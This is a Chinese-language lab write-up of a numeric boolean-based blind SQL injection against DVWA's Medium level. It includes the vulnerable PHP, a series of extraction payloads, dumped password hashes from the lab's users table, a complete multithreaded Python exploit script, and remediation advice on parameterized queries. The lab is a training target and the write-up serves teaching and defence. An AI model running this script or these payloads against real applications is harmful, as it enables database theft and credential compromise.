SQL盲注漏洞详解 DVWA Medium

文章目录

    • 一、测试概述
    • 二、Medium级别安全机制分析
      • [2.1 后端源码](#2.1 后端源码)
      • [2.2 与Low级别的差异](#2.2 与Low级别的差异)
      • [2.3 安全机制缺陷](#2.3 安全机制缺陷)
    • 三、漏洞验证
      • [3.1 基础测试](#3.1 基础测试)
      • [3.2 绕过单引号转义测试](#3.2 绕过单引号转义测试)
    • 四、漏洞利用过程
      • [4.1 获取数据库名](#4.1 获取数据库名)
      • [4.2 获取表信息](#4.2 获取表信息)
      • [4.3 获取列信息](#4.3 获取列信息)
      • [4.4 获取记录数](#4.4 获取记录数)
      • [4.5 提取用户数据](#4.5 提取用户数据)
    • 五、自动化利用脚本
      • [5.1 脚本说明](#5.1 脚本说明)
      • [5.2 核心函数](#5.2 核心函数)
      • [5.3 使用方法](#5.3 使用方法)
    • [六、Low vs Medium 对比](#六、Low vs Medium 对比)
      • [6.1 注入方式对比](#6.1 注入方式对比)
      • [6.2 绕过技巧](#6.2 绕过技巧)
    • 七、漏洞危害
      • [7.1 影响范围](#7.1 影响范围)
      • [7.2 攻击链](#7.2 攻击链)
    • 八、修复建议
      • [8.1 当前漏洞代码](#8.1 当前漏洞代码)
      • [8.2 修复方案](#8.2 修复方案)
      • [8.3 安全最佳实践](#8.3 安全最佳实践)

一、测试概述

项目 内容
测试目标 http://192.168.0.107/DVWA/vulnerabilities/sqli_blind/
安全级别 Medium
漏洞类型 Boolean-based Blind SQL Injection(数字型)
测试日期 2026-06-08
测试工具 Chrome DevTools MCP + Python自动化脚本
风险等级 高危(High)

二、Medium级别安全机制分析

2.1 后端源码

php 复制代码
if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    
    // 使用mysqli_real_escape_string转义特殊字符
    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
    
    // SQL查询(无引号包裹$id)
    $query = "SELECT first_name, last_name FROM users WHERE user_id = $id";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query);
    
    if (mysqli_num_rows($result) > 0) {
        echo '<pre>User ID exists in the database.</pre>';
    } else {
        echo '<pre>User ID is MISSING from the database.</pre>';
    }
}

2.2 与Low级别的差异

特性 Low级别 Medium级别
请求方式 GET POST
输入方式 文本框 下拉选择框
输入过滤 mysqli_real_escape_string
SQL查询 WHERE user_id = '$id' WHERE user_id = $id
注入类型 字符型(需单引号闭合) 数字型(无需引号)

2.3 安全机制缺陷

  1. 仅转义特殊字符mysqli_real_escape_string转义了单引号、双引号等,但SQL查询中$id没有引号包裹
  2. 数字型注入 :由于查询是WHERE user_id = $id(无引号),可以直接注入数字型SQL语句
  3. 前端限制可绕过:下拉选择框只是前端限制,直接发送POST请求即可绕过

三、漏洞验证

3.1 基础测试

测试 Payload 结果 结论
正常查询 1 exists 页面正常
无效ID 999 MISSING 可区分真假
真条件 1 AND 1=1 exists 注入成功
假条件 1 AND 1=2 MISSING 布尔盲注确认

3.2 绕过单引号转义测试

测试 Payload 结果 说明
字符比较 1 AND SUBSTRING(DATABASE(),1,1)='d' FAIL 单引号被转义
ASCII比较 1 AND ASCII(SUBSTRING(DATABASE(),1,1))=100 OK 数值比较绕过转义
MID函数 1 AND MID(DATABASE(),1,1)='d' FAIL 单引号被转义
LIKE 1 AND DATABASE() LIKE 'dvwa%' FAIL 单引号被转义
长度测试 1 AND LENGTH(DATABASE())=4 OK 纯数字比较有效

关键发现:使用ASCII()函数进行数值比较可以绕过单引号转义


四、漏洞利用过程

4.1 获取数据库名

sql 复制代码
-- 获取数据库名长度
1 AND LENGTH(DATABASE())=4  → exists ✓

-- 逐字符猜解(使用ASCII数值比较)
1 AND ASCII(SUBSTRING(DATABASE(),1,1))=100  → exists ✓  (100 = 'd')
1 AND ASCII(SUBSTRING(DATABASE(),2,1))=118  → exists ✓  (118 = 'v')
1 AND ASCII(SUBSTRING(DATABASE(),3,1))=119  → exists ✓  (119 = 'w')
1 AND ASCII(SUBSTRING(DATABASE(),4,1))=97   → exists ✓  (97 = 'a')

结果:数据库名 = "dvwa"

4.2 获取表信息

sql 复制代码
-- 表数量
1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='dvwa')=1  → exists ✓

-- 表名(逐字符ASCII比较)
1 AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1),1,1))=117  → exists ✓  (117 = 'u')

结果:1个表,表名 = "users"

4.3 获取列信息

sql 复制代码
-- 列数量
1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users')=8  → exists ✓

-- 列名(8列)
user_id, first_name, last_name, user, password, avatar, last_login, failed_login

4.4 获取记录数

sql 复制代码
1 AND (SELECT COUNT(*) FROM users)=5  → exists ✓

结果:5条记录

4.5 提取用户数据

user_id user first_name last_name password (MD5)
1 admin admin admin 21232f297a57a5a743894a0e4a801fc3
2 gordonb gordon brown e99a18c428cb38d5f260853678922e03
3 1337 hack me 8d3533d75ae2c3966d7e0d4fcc69216b
4 pablo pablo picasso 0d107d09f5bbe40cade3de5c71e9e9b7
5 smithy bob smith 5f4dcc3b5aa765d61d8327deb882cf99

五、自动化利用脚本

5.1 脚本说明

dvwa_blind_sqli_exploit_medium.py

python 复制代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
DVWA SQL盲注漏洞利用脚本 - Medium级别
======================================
目标: http://192.168.0.107/DVWA/vulnerabilities/sqli_blind/
级别: Medium
类型: Numeric-based Blind SQL Injection

Medium级别特点:
1. 使用POST请求
2. 使用mysqli_real_escape_string转义单引号
3. SQL查询无引号: WHERE user_id = $id
4. 数字型注入,通过ASCII()数值比较绕过单引号转义
"""

import requests
import string
import sys
import json
import time
import io
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor, as_completed

sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding='utf-8')

# ==================== 配置 ====================
BASE_URL = "http://192.168.0.107/DVWA/vulnerabilities/sqli_blind/"
MAX_WORKERS = 10
REQUEST_TIMEOUT = 10

COOKIE = {
    "security": "medium",
    "PHPSESSID": "fsj0kvpbl4gl3c2cb34dmpmpe5"
}

STATS = {"total_requests": 0, "start_time": None}

RESULTS = {
    "timestamp": datetime.now().isoformat(),
    "target": BASE_URL,
    "security_level": "medium",
    "database_name": "",
    "tables": [],
    "columns": {},
    "data": []
}

session = requests.Session()
session.cookies.update(COOKIE)


def check_payload(payload):
    """
    Medium级别: POST请求,数字型注入
    通过ASCII()数值比较绕过单引号转义
    Payload示例: 1 AND ASCII(SUBSTRING(DATABASE(),1,1))=100
    """
    data = {"id": payload, "Submit": "Submit"}
    try:
        resp = session.post(BASE_URL, data=data, timeout=REQUEST_TIMEOUT)
        STATS["total_requests"] += 1
        return "User ID exists" in resp.text
    except Exception as e:
        print(f"  [!] Error: {e}")
        return False


def check_batch(payloads):
    """并发检查多个Payload"""
    results = []
    
    def _check(item):
        payload, ascii_val = item
        return ascii_val if check_payload(payload) else None
    
    with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
        futures = {executor.submit(_check, item): item for item in payloads}
        for future in as_completed(futures):
            r = future.result()
            if r is not None:
                results.append(r)
    return results


def blind_extract_ascii(query, max_len=30, ascii_range=None):
    """
    盲注提取函数(ASCII数值比较版)
    
    原理: 使用ASCII(SUBSTRING(...))=数值 绕过单引号转义
    示例: 1 AND ASCII(SUBSTRING(DATABASE(),1,1))=100
    """
    if ascii_range is None:
        ascii_range = list(range(97, 123))  # a-z
    
    result = ""
    for pos in range(1, max_len + 1):
        payloads = [
            (f"1 AND ASCII(SUBSTRING(({query}),{pos},1))={v}", v)
            for v in ascii_range
        ]
        
        matched = check_batch(payloads)
        if matched:
            result += chr(matched[0])
            sys.stdout.write(chr(matched[0]))
            sys.stdout.flush()
        else:
            break
    
    print()
    return result


def get_database_name():
    """获取数据库名"""
    print("[*] Extracting database name...")
    # 先获取长度
    for length in range(1, 20):
        if check_payload(f"1 AND LENGTH(DATABASE())={length}"):
            print(f"[+] DB length: {length}")
            break
    
    name = blind_extract_ascii("DATABASE()", 20, list(range(97, 123)))
    print(f"[+] Database: {name}")
    RESULTS["database_name"] = name
    return name


def get_table_count(db):
    """获取表数量"""
    print(f"[*] Getting table count in {db}...")
    for i in range(1, 20):
        payload = f"1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='{db}')={i}"
        if check_payload(payload):
            print(f"[+] Table count: {i}")
            return i
    return 0


def get_table_name(db, idx):
    """获取表名"""
    print(f"[*] Extracting table name[{idx}]...")
    q = f"SELECT table_name FROM information_schema.tables WHERE table_schema='{db}' LIMIT {idx},1"
    name = blind_extract_ascii(q, 30, list(range(97, 123)))
    print(f"[+] Table: {name}")
    return name


def get_column_count(table):
    """获取列数量"""
    print(f"[*] Getting column count for {table}...")
    for i in range(1, 30):
        payload = f"1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='{table}')={i}"
        if check_payload(payload):
            print(f"[+] Column count: {i}")
            return i
    return 0


def get_column_name(table, idx):
    """获取列名"""
    print(f"[*] Extracting column name[{idx}]...")
    q = f"SELECT column_name FROM information_schema.columns WHERE table_name='{table}' LIMIT {idx},1"
    # 列名可能包含字母和下划线
    charset = list(range(97, 123)) + [95]  # a-z + _
    name = blind_extract_ascii(q, 30, charset)
    print(f"[+] Column: {name}")
    return name


def get_row_count(table):
    """获取记录数"""
    print(f"[*] Getting row count for {table}...")
    for i in range(1, 20):
        if check_payload(f"1 AND (SELECT COUNT(*) FROM {table})={i}"):
            print(f"[+] Row count: {i}")
            return i
    return 0


def get_field(table, col, row):
    """获取字段值"""
    print(f"[*] Extracting {col}[row {row}]...")
    q = f"SELECT {col} FROM {table} LIMIT {row},1"
    # 字段值可能包含字母、数字、特殊字符
    charset = list(range(48, 58)) + list(range(65, 91)) + list(range(97, 123)) + [64, 46, 95, 45, 36]
    val = blind_extract_ascii(q, 100, charset)
    print(f"[+] {col}: {val}")
    return val


def save_results():
    """保存结果到JSON"""
    with open("dvwa_blind_sqli_medium_results.json", "w", encoding='utf-8') as f:
        json.dump(RESULTS, f, indent=2, ensure_ascii=False)
    print(f"\n[+] Results saved to dvwa_blind_sqli_medium_results.json")


def print_stats():
    """打印性能统计"""
    elapsed = time.time() - STATS["start_time"]
    print("\n" + "=" * 60)
    print("性能统计")
    print("=" * 60)
    print(f"总请求数: {STATS['total_requests']}")
    print(f"总耗时: {elapsed:.2f} 秒 ({elapsed/60:.2f} 分钟)")
    if elapsed > 0:
        print(f"请求速度: {STATS['total_requests']/elapsed:.2f} 次/秒")
    print("=" * 60)


def main():
    """
    执行流程:
    1. 获取数据库名 → 2. 获取表数量 → 3. 获取表名
    4. 获取列数量 → 5. 获取列名 → 6. 获取记录数
    7. 逐行逐列提取数据 → 8. 保存结果
    """
    STATS["start_time"] = time.time()
    
    print("=" * 60)
    print("DVWA SQL Blind Injection Exploit - Level: Medium")
    print(f"并发线程: {MAX_WORKERS}")
    print("=" * 60)
    
    try:
        # 1. 数据库名
        db = get_database_name()
        
        # 2-3. 表信息
        tables = []
        for i in range(get_table_count(db)):
            tables.append(get_table_name(db, i))
        RESULTS["tables"] = tables
        print(f"[+] Tables: {', '.join(tables)}")
        
        # 4-5. 列信息
        for t in tables:
            cols = []
            for i in range(get_column_count(t)):
                cols.append(get_column_name(t, i))
            RESULTS["columns"][t] = cols
            print(f"[+] Columns in {t}: {', '.join(cols)}")
        
        # 6-7. 提取数据
        if "users" in tables:
            rows = get_row_count("users")
            print(f"\n[*] Extracting users table ({rows} rows)...")
            cols = RESULTS["columns"]["users"]
            
            for r in range(rows):
                print(f"\n--- Row {r+1} ---")
                row_data = {c: get_field("users", c, r) for c in cols}
                RESULTS["data"].append(row_data)
        
        # 8. 保存
        save_results()
        print_stats()
        print("\n[+] Done!")
        
    except KeyboardInterrupt:
        print("\n[!] Interrupted")
        save_results()
        print_stats()
    except Exception as e:
        print(f"\n[!] Error: {e}")
        save_results()
        print_stats()


if __name__ == "__main__":
    main()

核心绕过技术:

python 复制代码
# Low级别:直接使用字符比较
payload = f"1' AND SUBSTRING(({query}),{pos},1)='{char}' AND '1'='1"

# Medium级别:使用ASCII数值比较绕过单引号转义
payload = f"1 AND ASCII(SUBSTRING(({query}),{pos},1))={ascii_value}"

优化策略:

  • 并发请求(10线程)
  • Session复用TCP连接
  • ASCII数值比较绕过转义
  • 性能统计(请求数、耗时、速度)

5.2 核心函数

python 复制代码
def check_payload(payload):
    """POST请求,数字型注入"""
    data = {"id": payload, "Submit": "Submit"}
    resp = session.post(BASE_URL, data=data, timeout=REQUEST_TIMEOUT)
    return "User ID exists" in resp.text

def blind_extract_ascii(query, max_len=30, ascii_range=None):
    """使用ASCII数值比较进行盲注提取"""
    for pos in range(1, max_len + 1):
        payloads = [
            (f"1 AND ASCII(SUBSTRING(({query}),{pos},1))={v}", v)
            for v in ascii_range
        ]
        matched = check_batch(payloads)  # 并发检查
        if matched:
            result += chr(matched[0])

5.3 使用方法

bash 复制代码
python dvwa_blind_sqli_exploit_medium.py

结果保存至 dvwa_blind_sqli_medium_results.json


六、Low vs Medium 对比

6.1 注入方式对比

特性 Low级别 Medium级别
注入类型 字符型 数字型
闭合方式 需要单引号 ' 无需闭合
Payload示例 1' AND '1'='1 1 AND 1=1
字符提取 SUBSTRING(...)='a' ASCII(SUBSTRING(...))=97
请求方式 GET POST

6.2 绕过技巧

级别 防御措施 绕过方法
Low 直接注入
Medium mysqli_real_escape_string 使用ASCII()数值比较

七、漏洞危害

7.1 影响范围

危害类型 程度 说明
数据泄露 严重 获取全部用户数据(含密码哈希)
数据篡改 严重 可修改/删除数据库内容
权限提升 严重 获取管理员账户

7.2 攻击链

复制代码
POST请求绕过 → 数字型盲注 → ASCII数值比较 → 枚举数据库结构 → 提取用户凭证

八、修复建议

8.1 当前漏洞代码

php 复制代码
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id";

8.2 修复方案

方案1:参数化查询(推荐)

php 复制代码
$id = $_POST[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = ?";
$stmt = mysqli_prepare($GLOBALS["___mysqli_ston"], $query);
mysqli_stmt_bind_param($stmt, "i", $id);  // 'i' 表示整数类型
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

方案2:强制类型转换

php 复制代码
$id = (int)$_POST[ 'id' ];  // 强制转换为整数
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id";

8.3 安全最佳实践

措施 优先级 说明
参数化查询 使用预处理语句,从根本上防止注入
类型验证 对数字型输入强制类型转换
最小权限 数据库账户使用最小必要权限
WAF防护 部署Web应用防火墙

相关推荐
世界尽头与你8 小时前
Android Root 检测原理
android·安全·网络安全·渗透测试
kp000008 小时前
如何平衡模型输出的“有用性”和“安全性
人工智能·安全·网络安全·信息安全·ai安全
世界尽头与你10 小时前
iOS 越狱检测原理
安全·网络安全·ios·信息安全·渗透测试
kp000001 天前
大模型输出造成信息泄露类型
人工智能·网络安全·信息安全·ai安全
kp000001 天前
System Prompt Leakage(系统提示词泄露)及安全防御
网络·安全·网络安全·信息安全·prompt·ai安全
X7x51 天前
攻防对抗的结构化思维:深度拆解网络杀伤链(Kill Chain)与现代防御演进
网络安全·网络攻击模型·安全架构·网络杀伤链·kill chain
kp000001 天前
AI大模型,如何区分善意提问与Prompt注入攻击
人工智能·网络安全·信息安全·prompt·ai安全
kp000001 天前
AI系统输入安全基线
人工智能·安全·网络安全·信息安全·ai安全
菩提小狗1 天前
每日安全情报报告 · 2026-07-19
网络安全·漏洞·cve·安全情报·每日安全
kp000001 天前
NER(Named Entity Recognition)命名实体识别
人工智能·网络安全·信息安全·ai安全